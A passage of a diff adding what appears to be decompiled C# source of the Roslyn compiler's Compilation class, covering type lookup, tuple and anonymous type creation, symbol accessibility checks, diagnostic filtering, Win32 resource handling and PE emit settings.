CommonCreateNativeIntegerTypeSymbol(bool signed); + + public INamedTypeSymbol? GetTypeByMetadataName(string fullyQualifiedMetadataName) + { + if (!_getTypeCache.TryGetValue(fullyQualifiedMetadataName, out INamedTypeSymbol value)) + { + value = CommonGetTypeByMetadataName(fullyQualifiedMetadataName); + _getTypeCache.TryAdd(fullyQualifiedMetadataName, value); + } + return value; + } + + protected abstract INamedTypeSymbol? CommonGetTypeByMetadataName(string metadataName); + + public ImmutableArray GetTypesByMetadataName(string fullyQualifiedMetadataName) + { + if (!_getTypesCache.TryGetValue(fullyQualifiedMetadataName, out ImmutableArray value)) + { + value = getTypesByMetadataNameImpl(); + _getTypesCache.TryAdd(fullyQualifiedMetadataName, value); + } + return value; + ImmutableArray getTypesByMetadataNameImpl() + { + ArrayBuilder typesByMetadataName = null; + addIfNotNull(Assembly.GetTypeByMetadataName(fullyQualifiedMetadataName)); + IAssemblySymbol containingAssembly = ObjectType.ContainingAssembly; + if (containingAssembly != Assembly) + { + addIfNotNull(containingAssembly.GetTypeByMetadataName(fullyQualifiedMetadataName)); + } + ImmutableArray.Enumerator enumerator = SourceModule.ReferencedAssemblySymbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + IAssemblySymbol current = enumerator.Current; + if (current != containingAssembly) + { + addIfNotNull(current.GetTypeByMetadataName(fullyQualifiedMetadataName)); + } + } + return typesByMetadataName?.ToImmutableAndFree() ?? ImmutableArray.Empty; + void addIfNotNull(INamedTypeSymbol? toAdd) + { + if (toAdd != null) + { + if (typesByMetadataName == null) + { + typesByMetadataName = ArrayBuilder.GetInstance(); + } + typesByMetadataName.Add(toAdd); + } + } + } + } + + public INamedTypeSymbol CreateTupleTypeSymbol(ImmutableArray elementTypes, ImmutableArray elementNames = default(ImmutableArray), ImmutableArray elementLocations = default(ImmutableArray), ImmutableArray elementNullableAnnotations = default(ImmutableArray)) + { + if (elementTypes.IsDefault) + { + throw new ArgumentNullException("elementTypes"); + } + int length = elementTypes.Length; + if (elementTypes.Length <= 1) + { + throw new ArgumentException(CodeAnalysisResources.TuplesNeedAtLeastTwoElements, "elementNames"); + } + elementNames = CheckTupleElementNames(length, elementNames); + CheckTupleElementLocations(length, elementLocations); + CheckTupleElementNullableAnnotations(length, elementNullableAnnotations); + for (int i = 0; i < length; i++) + { + if (elementTypes[i] == null) + { + throw new ArgumentNullException(string.Format("{0}[{1}]", "elementTypes", i)); + } + if (!elementLocations.IsDefault && elementLocations[i] == null) + { + throw new ArgumentNullException(string.Format("{0}[{1}]", "elementLocations", i)); + } + } + return CommonCreateTupleTypeSymbol(elementTypes, elementNames, elementLocations, elementNullableAnnotations); + } + + public INamedTypeSymbol CreateTupleTypeSymbol(ImmutableArray elementTypes, ImmutableArray elementNames, ImmutableArray elementLocations) + { + return CreateTupleTypeSymbol(elementTypes, elementNames, elementLocations, default(ImmutableArray)); + } + + protected static void CheckTupleElementNullableAnnotations(int cardinality, ImmutableArray elementNullableAnnotations) + { + if (!elementNullableAnnotations.IsDefault && elementNullableAnnotations.Length != cardinality) + { + throw new ArgumentException(CodeAnalysisResources.TupleElementNullableAnnotationCountMismatch, "elementNullableAnnotations"); + } + } + + protected static ImmutableArray CheckTupleElementNames(int cardinality, ImmutableArray elementNames) + { + if (!elementNames.IsDefault) + { + if (elementNames.Length != cardinality) + { + throw new ArgumentException(CodeAnalysisResources.TupleElementNameCountMismatch, "elementNames"); + } + for (int i = 0; i < elementNames.Length; i++) + { + if (elementNames[i] == "") + { + throw new ArgumentException(CodeAnalysisResources.TupleElementNameEmpty, string.Format("{0}[{1}]", "elementNames", i)); + } + } + if (elementNames.All((string n) => n == null)) + { + return default(ImmutableArray); + } + } + return elementNames; + } + + protected static void CheckTupleElementLocations(int cardinality, ImmutableArray elementLocations) + { + if (!elementLocations.IsDefault && elementLocations.Length != cardinality) + { + throw new ArgumentException(CodeAnalysisResources.TupleElementLocationCountMismatch, "elementLocations"); + } + } + + protected abstract INamedTypeSymbol CommonCreateTupleTypeSymbol(ImmutableArray elementTypes, ImmutableArray elementNames, ImmutableArray elementLocations, ImmutableArray elementNullableAnnotations); + + public INamedTypeSymbol CreateTupleTypeSymbol(INamedTypeSymbol underlyingType, ImmutableArray elementNames = default(ImmutableArray), ImmutableArray elementLocations = default(ImmutableArray), ImmutableArray elementNullableAnnotations = default(ImmutableArray)) + { + if (underlyingType == null) + { + throw new ArgumentNullException("underlyingType"); + } + return CommonCreateTupleTypeSymbol(underlyingType, elementNames, elementLocations, elementNullableAnnotations); + } + + public INamedTypeSymbol CreateTupleTypeSymbol(INamedTypeSymbol underlyingType, ImmutableArray elementNames, ImmutableArray elementLocations) + { + return CreateTupleTypeSymbol(underlyingType, elementNames, elementLocations, default(ImmutableArray)); + } + + protected abstract INamedTypeSymbol CommonCreateTupleTypeSymbol(INamedTypeSymbol underlyingType, ImmutableArray elementNames, ImmutableArray elementLocations, ImmutableArray elementNullableAnnotations); + + public INamedTypeSymbol CreateAnonymousTypeSymbol(ImmutableArray memberTypes, ImmutableArray memberNames, ImmutableArray memberIsReadOnly = default(ImmutableArray), ImmutableArray memberLocations = default(ImmutableArray), ImmutableArray memberNullableAnnotations = default(ImmutableArray)) + { + if (memberTypes.IsDefault) + { + throw new ArgumentNullException("memberTypes"); + } + if (memberNames.IsDefault) + { + throw new ArgumentNullException("memberNames"); + } + if (memberTypes.Length != memberNames.Length) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.AnonymousTypeMemberAndNamesCountMismatch2, "memberTypes", "memberNames")); + } + if (!memberLocations.IsDefault && memberLocations.Length != memberTypes.Length) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.AnonymousTypeArgumentCountMismatch2, "memberLocations", "memberNames")); + } + if (!memberIsReadOnly.IsDefault && memberIsReadOnly.Length != memberTypes.Length) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.AnonymousTypeArgumentCountMismatch2, "memberIsReadOnly", "memberNames")); + } + if (!memberNullableAnnotations.IsDefault && memberNullableAnnotations.Length != memberTypes.Length) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.AnonymousTypeArgumentCountMismatch2, "memberNullableAnnotations", "memberNames")); + } + int i = 0; + for (int length = memberTypes.Length; i < length; i++) + { + if (memberTypes[i] == null) + { + throw new ArgumentNullException(string.Format("{0}[{1}]", "memberTypes", i)); + } + if (memberNames[i] == null) + { + throw new ArgumentNullException(string.Format("{0}[{1}]", "memberNames", i)); + } + if (!memberLocations.IsDefault && memberLocations[i] == null) + { + throw new ArgumentNullException(string.Format("{0}[{1}]", "memberLocations", i)); + } + } + return CommonCreateAnonymousTypeSymbol(memberTypes, memberNames, memberLocations, memberIsReadOnly, memberNullableAnnotations); + } + + public INamedTypeSymbol CreateAnonymousTypeSymbol(ImmutableArray memberTypes, ImmutableArray memberNames, ImmutableArray memberIsReadOnly, ImmutableArray memberLocations) + { + return CreateAnonymousTypeSymbol(memberTypes, memberNames, memberIsReadOnly, memberLocations, default(ImmutableArray)); + } + + protected abstract INamedTypeSymbol CommonCreateAnonymousTypeSymbol(ImmutableArray memberTypes, ImmutableArray memberNames, ImmutableArray memberLocations, ImmutableArray memberIsReadOnly, ImmutableArray memberNullableAnnotations); + + public IMethodSymbol CreateBuiltinOperator(string name, ITypeSymbol returnType, ITypeSymbol leftType, ITypeSymbol rightType) + { + if (returnType == null) + { + throw new ArgumentNullException("returnType"); + } + if (leftType == null) + { + throw new ArgumentNullException("leftType"); + } + if (rightType == null) + { + throw new ArgumentNullException("rightType"); + } + return CommonCreateBuiltinOperator(name, returnType, leftType, rightType); + } + + protected abstract IMethodSymbol CommonCreateBuiltinOperator(string name, ITypeSymbol returnType, ITypeSymbol leftType, ITypeSymbol rightType); + + public IMethodSymbol CreateBuiltinOperator(string name, ITypeSymbol returnType, ITypeSymbol operandType) + { + if (returnType == null) + { + throw new ArgumentNullException("returnType"); + } + if (operandType == null) + { + throw new ArgumentNullException("operandType"); + } + return CommonCreateBuiltinOperator(name, returnType, operandType); + } + + protected abstract IMethodSymbol CommonCreateBuiltinOperator(string name, ITypeSymbol returnType, ITypeSymbol operandType); + + public abstract CommonConversion ClassifyCommonConversion(ITypeSymbol source, ITypeSymbol destination); + + public bool HasImplicitConversion(ITypeSymbol? fromType, ITypeSymbol? toType) + { + if (fromType != null && toType != null) + { + return ClassifyCommonConversion(fromType, toType).IsImplicit; + } + return false; + } + + public bool IsSymbolAccessibleWithin(ISymbol symbol, ISymbol within, ITypeSymbol? throughType = null) + { + if (symbol == null) + { + throw new ArgumentNullException("symbol"); + } + if (within == null) + { + throw new ArgumentNullException("within"); + } + if (!(within is INamedTypeSymbol) && !(within is IAssemblySymbol)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.IsSymbolAccessibleBadWithin, "within"), "within"); + } + checkInCompilationReferences(symbol, "symbol"); + checkInCompilationReferences(within, "within"); + if (throughType != null) + { + checkInCompilationReferences(throughType, "throughType"); + } + return IsSymbolAccessibleWithinCore(symbol, within, throughType); + static bool assemblyIsInCompilationReferences(IAssemblySymbol a, Compilation compilation) + { + if (a.Equals(compilation.Assembly)) + { + return true; + } + foreach (MetadataReference reference in compilation.References) + { + if (a.Equals(compilation.GetAssemblyOrModuleSymbol(reference))) + { + return true; + } + } + return false; + } + bool assemblyIsInReferences(IAssemblySymbol a) + { + if (assemblyIsInCompilationReferences(a, this)) + { + return true; + } + if (IsSubmission) + { + for (Compilation previousSubmission = PreviousSubmission; previousSubmission != null; previousSubmission = previousSubmission.PreviousSubmission) + { + if (assemblyIsInCompilationReferences(a, previousSubmission)) + { + return true; + } + } + } + return false; + } + void checkInCompilationReferences(ISymbol s, string parameterName) + { + if (!isContainingAssemblyInReferences(s)) + { + throw new ArgumentException(string.Format(CodeAnalysisResources.IsSymbolAccessibleWrongAssembly, parameterName), parameterName); + } + } + bool isContainingAssemblyInReferences(ISymbol s) + { + while (true) + { + switch (s.Kind) + { + case SymbolKind.Assembly: + return assemblyIsInReferences((IAssemblySymbol)s); + case SymbolKind.PointerType: + s = ((IPointerTypeSymbol)s).PointedAtType; + break; + case SymbolKind.ArrayType: + s = ((IArrayTypeSymbol)s).ElementType; + break; + case SymbolKind.Alias: + s = ((IAliasSymbol)s).Target; + break; + case SymbolKind.Discard: + s = ((IDiscardSymbol)s).Type; + break; + case SymbolKind.FunctionPointerType: + { + IFunctionPointerTypeSymbol functionPointerTypeSymbol = (IFunctionPointerTypeSymbol)s; + if (!isContainingAssemblyInReferences(functionPointerTypeSymbol.Signature.ReturnType)) + { + return false; + } + ImmutableArray.Enumerator enumerator = functionPointerTypeSymbol.Signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + IParameterSymbol current = enumerator.Current; + if (!isContainingAssemblyInReferences(current.Type)) + { + return false; + } + } + return true; + } + case SymbolKind.DynamicType: + case SymbolKind.ErrorType: + case SymbolKind.Namespace: + case SymbolKind.Preprocessing: + return assemblyIsInReferences(s.ContainingAssembly ?? Assembly); + default: + return assemblyIsInReferences(s.ContainingAssembly); + } + } + } + } + + private protected abstract bool IsSymbolAccessibleWithinCore(ISymbol symbol, ISymbol within, ITypeSymbol? throughType); + + internal abstract IConvertibleConversion ClassifyConvertibleConversion(IOperation source, ITypeSymbol destination, out ConstantValue? constantValue); + + public abstract ImmutableArray GetParseDiagnostics(CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ImmutableArray GetDeclarationDiagnostics(CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ImmutableArray GetMethodBodyDiagnostics(CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ImmutableArray GetDiagnostics(CancellationToken cancellationToken = default(CancellationToken)); + + internal abstract void GetDiagnostics(CompilationStage stage, bool includeEarlierStages, DiagnosticBag diagnostics, CancellationToken cancellationToken = default(CancellationToken)); + + public abstract ImmutableArray GetUsedAssemblyReferences(CancellationToken cancellationToken = default(CancellationToken)); + + internal void EnsureCompilationEventQueueCompleted() + { + lock (EventQueue) + { + if (!EventQueue.IsCompleted) + { + CompleteCompilationEventQueue_NoLock(); + } + } + } + + internal void RegisterPossibleUpcomingEventEnqueue() + { + Interlocked.Increment(ref _eventQueueEnqueuePendingCount); + } + + internal void UnregisterPossibleUpcomingEventEnqueue() + { + Interlocked.Decrement(ref _eventQueueEnqueuePendingCount); + } + + internal void CompleteCompilationEventQueue_NoLock() + { + if (Volatile.Read(in _eventQueueEnqueuePendingCount) != 0) + { + SpinWait.SpinUntil(() => Volatile.Read(in _eventQueueEnqueuePendingCount) == 0); + } + EventQueue.TryEnqueue(new CompilationCompletedEvent(this)); + EventQueue.PromiseNotToEnqueue(); + EventQueue.TryComplete(); + } + + internal bool FilterAndAppendAndFreeDiagnostics(DiagnosticBag accumulator, [DisallowNull] ref DiagnosticBag? incoming, CancellationToken cancellationToken) + { + bool result = FilterAndAppendDiagnostics(accumulator, incoming, cancellationToken); + incoming.Free(); + incoming = null; + return result; + } + + internal bool FilterAndAppendDiagnostics(DiagnosticBag accumulator, DiagnosticBag incoming, CancellationToken cancellationToken) + { + return FilterAndAppendDiagnostics(accumulator, incoming.AsEnumerableWithoutResolution(), null, cancellationToken); + } + + internal bool FilterAndAppendDiagnostics(DiagnosticBag accumulator, IEnumerable incoming, HashSet? exclude, CancellationToken cancellationToken) + { + bool flag = false; + bool reportSuppressedDiagnostics = Options.ReportSuppressedDiagnostics; + foreach (Diagnostic item in incoming) + { + if (exclude != null && exclude.Contains(item.Code)) + { + continue; + } + Diagnostic diagnostic = Options.FilterDiagnostic(item, cancellationToken); + if (diagnostic != null && (reportSuppressedDiagnostics || !diagnostic.IsSuppressed)) + { + if (diagnostic.IsUnsuppressableError()) + { + flag = true; + } + accumulator.Add(diagnostic); + } + } + return !flag; + } + + public Stream CreateDefaultWin32Resources(bool versionResource, bool noManifest, Stream? manifestContents, Stream? iconInIcoFormat) + { + MemoryStream memoryStream = new MemoryStream(1024); + AppendNullResource(memoryStream); + if (versionResource) + { + AppendDefaultVersionResource(memoryStream); + } + if (!noManifest) + { + if (Options.OutputKind.IsApplication() && manifestContents == null) + { + manifestContents = typeof(Compilation).GetTypeInfo().Assembly.GetManifestResourceStream("Microsoft.CodeAnalysis.Resources.default.win32manifest"); + } + if (manifestContents != null) + { + Win32ResourceConversions.AppendManifestToResourceStream(memoryStream, manifestContents, !Options.OutputKind.IsApplication()); + } + } + if (iconInIcoFormat != null) + { + Win32ResourceConversions.AppendIconToResourceStream(memoryStream, iconInIcoFormat); + } + memoryStream.Position = 0L; + return memoryStream; + } + + internal static void AppendNullResource(Stream resourceStream) + { + BinaryWriter binaryWriter = new BinaryWriter(resourceStream); + binaryWriter.Write(0u); + binaryWriter.Write(32u); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)0); + binaryWriter.Write(ushort.MaxValue); + binaryWriter.Write((ushort)0); + binaryWriter.Write(0u); + binaryWriter.Write((ushort)0); + binaryWriter.Write((ushort)0); + binaryWriter.Write(0u); + binaryWriter.Write(0u); + } + + protected abstract void AppendDefaultVersionResource(Stream resourceStream); + + internal static Win32ResourceForm DetectWin32ResourceForm(Stream win32Resources) + { + BinaryReader binaryReader = new BinaryReader(win32Resources, Encoding.Unicode); + long position = win32Resources.Position; + uint num = binaryReader.ReadUInt32(); + win32Resources.Position = position; + if (num == 0) + { + return Win32ResourceForm.RES; + } + if ((num & 0xFFFF0000u) != 0 || (num & 0xFFFF) != 65535) + { + return Win32ResourceForm.COFF; + } + return Win32ResourceForm.UNKNOWN; + } + + internal ResourceSection? MakeWin32ResourcesFromCOFF(Stream? win32Resources, DiagnosticBag diagnostics) + { + if (win32Resources == null) + { + return null; + } + try + { + return COFFResourceReader.ReadWin32ResourcesFromCOFF(win32Resources); + } + catch (BadImageFormatException ex) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_BadWin32Resource, Location.None, ex.Message)); + return null; + } + catch (IOException ex2) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_BadWin32Resource, Location.None, ex2.Message)); + return null; + } + catch (ResourceException ex3) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_BadWin32Resource, Location.None, ex3.Message)); + return null; + } + } + + internal List? MakeWin32ResourceList(Stream? win32Resources, DiagnosticBag diagnostics) + { + if (win32Resources == null) + { + return null; + } + List list; + try + { + list = CvtResFile.ReadResFile(win32Resources); + } + catch (ResourceException ex) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_BadWin32Resource, Location.None, ex.Message)); + return null; + } + if (list == null) + { + return null; + } + List list2 = new List(); + foreach (RESOURCE item2 in list) + { + Win32Resource item = new Win32Resource(item2.data, 0u, item2.LanguageId, (short)item2.pstringName.Ordinal, item2.pstringName.theString, (short)item2.pstringType.Ordinal, item2.pstringType.theString); + list2.Add(item); + } + return list2; + } + + internal void SetupWin32Resources(CommonPEModuleBuilder moduleBeingBuilt, Stream? win32Resources, bool useRawWin32Resources, DiagnosticBag diagnostics) + { + if (win32Resources == null) + { + return; + } + if (useRawWin32Resources) + { + moduleBeingBuilt.RawWin32Resources = win32Resources; + return; + } + Win32ResourceForm win32ResourceForm; + try + { + win32ResourceForm = DetectWin32ResourceForm(win32Resources); + } + catch (EndOfStreamException) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_BadWin32Resource, NoLocation.Singleton, CodeAnalysisResources.UnrecognizedResourceFileFormat)); + return; + } + catch (Exception ex2) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_BadWin32Resource, NoLocation.Singleton, ex2.Message)); + return; + } + switch (win32ResourceForm) + { + case Win32ResourceForm.COFF: + moduleBeingBuilt.Win32ResourceSection = MakeWin32ResourcesFromCOFF(win32Resources, diagnostics); + break; + case Win32ResourceForm.RES: + moduleBeingBuilt.Win32Resources = MakeWin32ResourceList(win32Resources, diagnostics); + break; + default: + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_BadWin32Resource, NoLocation.Singleton, CodeAnalysisResources.UnrecognizedResourceFileFormat)); + break; + } + } + + internal void ReportManifestResourceDuplicates(IEnumerable? manifestResources, IEnumerable addedModuleNames, IEnumerable addedModuleResourceNames, DiagnosticBag diagnostics) + { + if (Options.OutputKind == OutputKind.NetModule && (manifestResources == null || !manifestResources.Any())) + { + return; + } + HashSet hashSet = new HashSet(); + if (manifestResources != null && manifestResources.Any()) + { + HashSet hashSet2 = new HashSet(StringComparer.OrdinalIgnoreCase); + foreach (ResourceDescription manifestResource in manifestResources) + { + if (!hashSet.Add(manifestResource.ResourceName)) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_ResourceNotUnique, Location.None, manifestResource.ResourceName)); + } + string fileName = manifestResource.FileName; + if (fileName != null && !hashSet2.Add(fileName)) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_ResourceFileNameNotUnique, Location.None, fileName)); + } + } + foreach (string addedModuleName in addedModuleNames) + { + if (!hashSet2.Add(addedModuleName)) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_ResourceFileNameNotUnique, Location.None, addedModuleName)); + } + } + } + if (Options.OutputKind == OutputKind.NetModule) + { + return; + } + foreach (string addedModuleResourceName in addedModuleResourceNames) + { + if (!hashSet.Add(addedModuleResourceName)) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_ResourceNotUnique, Location.None, addedModuleResourceName)); + } + } + } + + internal ModulePropertiesForSerialization ConstructModuleSerializationProperties(EmitOptions emitOptions, string? targetRuntimeVersion, Guid moduleVersionId = default(Guid)) + { + CompilationOptions options = Options; + Platform platform = options.Platform; + OutputKind outputKind = options.OutputKind; + if (!platform.IsValid()) + { + platform = Platform.AnyCpu; + } + if (!outputKind.IsValid()) + { + outputKind = OutputKind.DynamicallyLinkedLibrary; + } + bool flag = platform.Requires64Bit(); + bool requires32Bit = platform.Requires32Bit(); + ushort fileAlignment = (ushort)((emitOptions.FileAlignment != 0 && CompilationOptions.IsValidFileAlignment(emitOptions.FileAlignment)) ? ((ushort)emitOptions.FileAlignment) : (flag ? 512 : 512)); + ulong num = (emitOptions.BaseAddress + 32768) & (ulong)(flag ? (-65536L) : 4294901760L); + if (num == 0L) + { + num = ((outputKind != OutputKind.ConsoleApplication && outputKind != OutputKind.WindowsApplication && outputKind != OutputKind.WindowsRuntimeApplication) ? (flag ? 6442450944uL : 268435456) : (flag ? 5368709120uL : 4194304)); + } + ulong sizeOfHeapCommit = (ulong)(flag ? 8192 : 4096); + ulong sizeOfStackReserve = (ulong)(flag ? 4194304 : 1048576); + ulong sizeOfStackCommit = (ulong)(flag ? 16384 : 4096); + SubsystemVersion subsystemVersion = ((!emitOptions.SubsystemVersion.Equals(SubsystemVersion.None) && emitOptions.SubsystemVersion.IsValid) ? emitOptions.SubsystemVersion : SubsystemVersion.Default(outputKind, platform)); + Machine machine; + switch (platform) + { + case Platform.Arm64: + machine = Machine.Arm64; + break; + case Platform.Arm: + machine = Machine.ArmThumb2; + break; + case Platform.X64: + machine = Machine.Amd64; + break; + case Platform.Itanium: + machine = Machine.IA64; + break; + case Platform.X86: + machine = Machine.I386; + break; + case Platform.AnyCpu: + case Platform.AnyCpu32BitPreferred: + machine = Machine.Unknown; + break; + default: + throw ExceptionUtilities.UnexpectedValue(platform); + } + return new ModulePropertiesForSerialization(moduleVersionId, GetCorHeaderFlags(machine, HasStrongName, platform == Platform.AnyCpu32BitPreferred), fileAlignment, 8192, targetRuntimeVersion, machine, num, 1048576uL, sizeOfHeapCommit, sizeOfStackReserve, sizeOfStackCommit, GetDllCharacteristics(emitOptions.HighEntropyVirtualAddressSpace, options.OutputKind == OutputKind.WindowsRuntimeApplication), GetCharacteristics(outputKind, requires32Bit), GetSubsystem(outputKind), (ushort)subsystemVersion.Major, (ushort)subsystemVersion.Minor, LinkerMajorVersion, 0); + } + + private static CorFlags GetCorHeaderFlags(Machine machine, bool strongNameSigned, bool prefers32Bit) + { + CorFlags corFlags = CorFlags.ILOnly; + if (machine == Machine.I386) + { + corFlags |= CorFlags.Requires32Bit; + } + if (strongNameSigned) + { + corFlags |= CorFlags.StrongNameSigned; + } + if (prefers32Bit) + { + corFlags |= CorFlags.Requires32Bit | CorFlags.Prefers32Bit; + } + return corFlags; + } + + internal static DllCharacteristics GetDllCharacteristics(bool enableHighEntropyVA, bool configureToExecuteInAppContainer) + { + DllCharacteristics dllCharacteristics = DllCharacteristics.DynamicBase | DllCharacteristics.NxCompatible | DllCharacteristics.NoSeh | DllCharacteristics.TerminalServerAware; + if (enableHighEntropyVA) + { + dllCharacteristics |= DllCharacteristics.HighEntropyVirtualAddressSpace; + } + if (configureToExecuteInAppContainer) + { + dllCharacteristics |= DllCharacteristics.AppContainer; + } + return dllCharacteristics; + } + + private static Characteristics GetCharacteristics(OutputKind outputKind, bool requires32Bit) + { + Characteristics characteristics = Characteristics.ExecutableImage; + characteristics = ((!requires32Bit) ? (characteristics | Characteristics.LargeAddressAware) : (characteristics | Characteristics.Bit32Machine)); + switch (outputKind) + { + case OutputKind.DynamicallyLinkedLibrary: + case OutputKind.NetModule: + case OutputKind.WindowsRuntimeMetadata: + characteristics |= Characteristics.Dll; + break; + default: + throw ExceptionUtilities.UnexpectedValue(outputKind); + case OutputKind.ConsoleApplication: + case OutputKind.WindowsApplication: + case OutputKind.WindowsRuntimeApplication: + break; + } + return characteristics; + } + + private static Subsystem GetSubsystem(OutputKind outputKind) + { + switch (outputKind) + { + case OutputKind.ConsoleApplication: + case OutputKind.DynamicallyLinkedLibrary: + case OutputKind.NetModule: + case OutputKind.WindowsRuntimeMetadata: + return Subsystem.WindowsCui; + case OutputKind.WindowsApplication: + case OutputKind.WindowsRuntimeApplication: + return Subsystem.WindowsGui; + default: + throw ExceptionUtilities.UnexpectedValue(outputKind); + } + } + + internal abstract bool HasCodeToEmit(); + + internal abstract CommonPEModuleBuilder? CreateModuleBuilder(EmitOptions emitOptions, IMethodSymbol? debugEntryPoint, Stream? sourceLinkStream, IEnumerable? embeddedTexts, IEnumerable? manifestResources, CompilationTestData? testData, DiagnosticBag diagnostics, CancellationToken cancellationToken); + + internal abstract bool CompileMethods(CommonPEModuleBuilder moduleBuilder, bool emittingPdb, DiagnosticBag diagnostics, Predicate? filterOpt, CancellationToken cancellationToken); + + internal bool CreateDebugDocuments(DebugDocumentsBuilder documentsBuilder, IEnumerable embeddedTexts, DiagnosticBag diagnostics) + { + bool flag = true; + ImmutableArray.Enumerator enumerator = CommonSyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current = enumerator.Current; + if (!string.IsNullOrEmpty(current.FilePath) && current.GetText().Encoding == null) + { + diagnostics.Add(MessageProvider.CreateDiagnostic(MessageProvider.ERR_EncodinglessSyntaxTree, current.GetRoot().GetLocation())); + flag = false; + } + } + if (!flag) + { + return false; + } + if (!embeddedTexts.IsEmpty()) + { + foreach (EmbeddedText text in embeddedTexts) + { + string text2 = documentsBuilder.NormalizeDebugDocumentPath(text.FilePath, null); + if (documentsBuilder.TryGetDebugDocumentForNormalizedPath(text2) == null) + { + DebugSourceDocument document = new DebugSourceDocument(text2, DebugSourceDocumentLanguageId, () => text.GetDebugSourceInfo()); + documentsBuilder.AddDebugDocument(document); + } + } + } + enumerator = CommonSyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree tree = enumerator.Current; + if (string.IsNullOrEmpty(tree.FilePath)) + { + continue; + } + string text3 = documentsBuilder.NormalizeDebugDocumentPath(tree.FilePath, null); + if (documentsBuilder.TryGetDebugDocumentForNormalizedPath(text3) == null) + { + documentsBuilder.AddDebugDocument(new DebugSourceDocument(text3, DebugSourceDocumentLanguageId, () => tree.GetDebugSourceInfo())); + } + } + enumerator = CommonSyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current2 = enumerator.Current; + AddDebugSourceDocumentsForChecksumDirectives(documentsBuilder, current2, diagnostics); + } + return true; + } + + internal abstract void AddDebugSourceDocumentsForChecksumDirectives(DebugDocumentsBuilder documentsBuilder, SyntaxTree tree, DiagnosticBag diagnostics); + + internal abstract bool GenerateResources(CommonPEModuleBuilder moduleBuilder, Stream? win32Resources, bool useRawWin32Resources, DiagnosticBag diagnostics, CancellationToken cancellationToken); + + internal abstract bool GenerateDocumentationComments(Stream? xmlDocStream, string? outputNameOverride, DiagnosticBag diagnostics, CancellationToken cancellationToken); + + internal abstract void ReportUnusedImports(DiagnosticBag diagnostics, CancellationToken cancellationToken); + + internal static bool ReportUnusedImportsInTree(SyntaxTree tree) + { + return tree.Options.DocumentationMode != DocumentationMode.None; + } + + internal abstract void CompleteTrees(SyntaxTree? filterTree); + + internal bool Compile(CommonPEModuleBuilder moduleBuilder, bool emittingPdb, DiagnosticBag diagnostics, Predicate? filterOpt, CancellationToken cancellationToken) + { + try + { + return CompileMethods(moduleBuilder, emittingPdb, diagnostics, filterOpt, cancellationToken); + } + finally + { + moduleBuilder.CompilationFinished(); + } + } + + internal void EnsureAnonymousTypeTemplates(CancellationToken cancellationToken) + { + if (GetSubmissionSlotIndex() >= 0 && HasCodeToEmit()) + { + if (!CommonAnonymousTypeManager.AreTemplatesSealed) + { + DiagnosticBag instance = DiagnosticBag.GetInstance(); + CommonPEModuleBuilder commonPEModuleBuilder = CreateModuleBuilder(EmitOptions.Default, null, null, null, null, null, instance, cancellationToken); + if (commonPEModuleBuilder != null) + { + Compile(commonPEModuleBuilder, emittingPdb: false, instance, null, cancellationToken); + } + instance.Free(); + } + } + else + { + ScriptCompilationInfo?.PreviousScriptCompilation?.EnsureAnonymousTypeTemplates(cancellationToken); + } + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public EmitResult Emit(Stream peStream, Stream? pdbStream, Stream? xmlDocumentationStream, Stream? win32Resources, IEnumerable? manifestResources, EmitOptions options, CancellationToken cancellationToken) + { + return Emit(peStream, pdbStream, xmlDocumentationStream, win32Resources, manifestResources, options, null, null, null, cancellationToken); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public EmitResult Emit(Stream peStream, Stream pdbStream, Stream xmlDocumentationStream, Stream win32Resources, IEnumerable manifestResources, EmitOptions options, IMethodSymbol debugEntryPoint, CancellationToken cancellationToken) + { + return Emit(peStream, pdbStream, xmlDocumentationStream, win32Resources, manifestResources, options, debugEntryPoint, null, null, cancellationToken); + } + + public EmitResult Emit(Stream peStream, Stream? pdbStream, Stream? xmlDocumentationStream, Stream? win32Resources, IEnumerable? manifestResources, EmitOptions options, IMethodSymbol? debugEntryPoint, Stream? sourceLinkStream, IEnumerable? embeddedTexts, CancellationToken cancellationToken) + { + return Emit(peStream, pdbStream, xmlDocumentationStream, win32Resources, manifestResources, options, debugEntryPoint, sourceLinkStream, embeddedTexts, null, cancellationToken); + } + + public EmitResult Emit(Stream peStream, Stream? pdbStream = null, Stream? xmlDocumentationStream = null, Stream? win32Resources = null, IEnumerable? manifestResources = null, EmitOptions? options = null, IMethodSymbol? debugEntryPoint = null, Stream? sourceLinkStream = null, IEnumerable? embeddedTexts = null, Stream? metadataPEStream = null, CancellationToken cancellationToken = default(CancellationToken)) + { + return Emit(peStream, pdbStream, xmlDocumentationStream, win32Resources, manifestResources, options, debugEntryPoint, sourceLinkStream, embeddedTexts, metadataPEStream, null, cancellationToken); + } + + internal EmitResult Emit(Stream peStream, Stream? pdbStream, Stream? xmlDocumentationStream, Stream? win32Resources, IEnumerable? manifestResources, EmitOptions? options, IMethodSymbol? debugEntryPoint, Stream? sourceLinkStream, IEnumerable? embeddedTexts, Stream? metadataPEStream, RebuildData? rebuildData, 